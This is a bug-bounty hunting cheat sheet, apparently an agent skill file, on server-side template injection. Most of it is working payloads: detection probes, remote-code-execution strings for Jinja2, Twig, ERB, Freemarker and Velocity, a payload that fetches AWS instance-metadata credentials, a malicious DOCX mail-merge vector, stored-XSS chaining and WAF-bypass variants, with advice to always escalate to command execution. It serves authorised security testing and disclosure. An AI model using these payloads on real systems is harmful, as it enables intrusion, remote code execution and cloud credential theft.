Hunt Ssti

14. SSTI — SERVER-SIDE TEMPLATE INJECTION

Easy to detect, high payout ($2K–$8K). Direct path to RCE.

Detection Payloads (try all)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

Jinja2 (Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby):

<%= `id` %>

Where to Test

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

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Related Skills & Chains

• `hunt-rce` — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or Freemarker <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
• `hunt-xss` — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same {{7*7}} reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject <script> into rendered email template → stored XSS hitting every recipient who views the message.
• `hunt-ssrf` — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }} or Jinja2 with url_for/custom filters → AWS metadata exfil → cloud creds.
• `hunt-file-upload` — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose word/document.xml contains ${T(java.lang.Runtime).getRuntime().exec("id")} to a Velocity/Freemarker-driven mail-merge → RCE.
• `security-arsenal` — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (__subclasses__()[N] index hunting), Twig _self.env registerUndefinedFilterCallback, Freemarker ?new() Execute, ERB backticks, Velocity $class.inspect, Smarty {php}...{/php}, plus the WAF-bypass variants ({{request|attr('application')|...}}, Unicode escapes, {%print(...)%}).
• `triage-validation` — Apply the Pre-Severity Gate before claiming Critical RCE. A {{7*7}} → 49 reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove id/OOB DNS callback with a unique marker before writing the report.